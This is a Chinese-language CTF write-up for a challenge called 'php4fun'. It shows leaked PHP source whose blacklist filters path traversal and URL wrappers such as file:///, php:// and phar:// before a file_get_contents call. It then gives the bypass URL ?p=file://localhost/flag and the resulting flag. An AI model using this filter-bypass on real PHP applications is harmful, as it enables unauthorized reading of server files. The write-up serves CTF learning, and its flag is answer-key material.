云演CTF——php4fun

原创

长街395 于 2022-01-16 19:08:06 发布 2757 收藏
文章标签： 安全性测试

查看index.bak文件

have fun with php

index.bak

index.bak

```
','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://','http://','https://'); $w = implode('|',$w); if(preg_match('#' .
$w . '#i',$v) !== 0){ die("
not that easy."); exit(); } return $v; } function get_posts(){ $dir=scandir("."); $dir = array_filter(scandir('.'), function($item) { return !is_dir('./' .
$item); }); $posts=array(); foreach($dir as $v){ if($v!="." && $v!=".." && (strpos($v,'.php')===false)){
$posts[]=array($v,substr(file_get_contents("$v"),0,10)); } } return $posts; } function get_post($name){ return
array($name,@file_get_contents(filter($name))); } ?>
```

have fun with php

'.$v[0].' '.$v[1].'

Read more
'; } }elseif($v=get_post(@$_GET['p'])){ echo '

'.$v[0].'

'.$v[1].'

Back

'; } ?>

Back

第二步

file:/// php://均被过滤
不过可以用file://localhost/flag的形式绕过

> *http://192.168.146.128:83/?p=file://localhost/flag*

have fun with php

file://localhost/flag

file://localhost/flag

ssctf{3f3F79173b03cC96dE36D10599e6Aec3}

Back

flag
ssctf{3f3F79173b03cC96dE36D10599e6Aec3}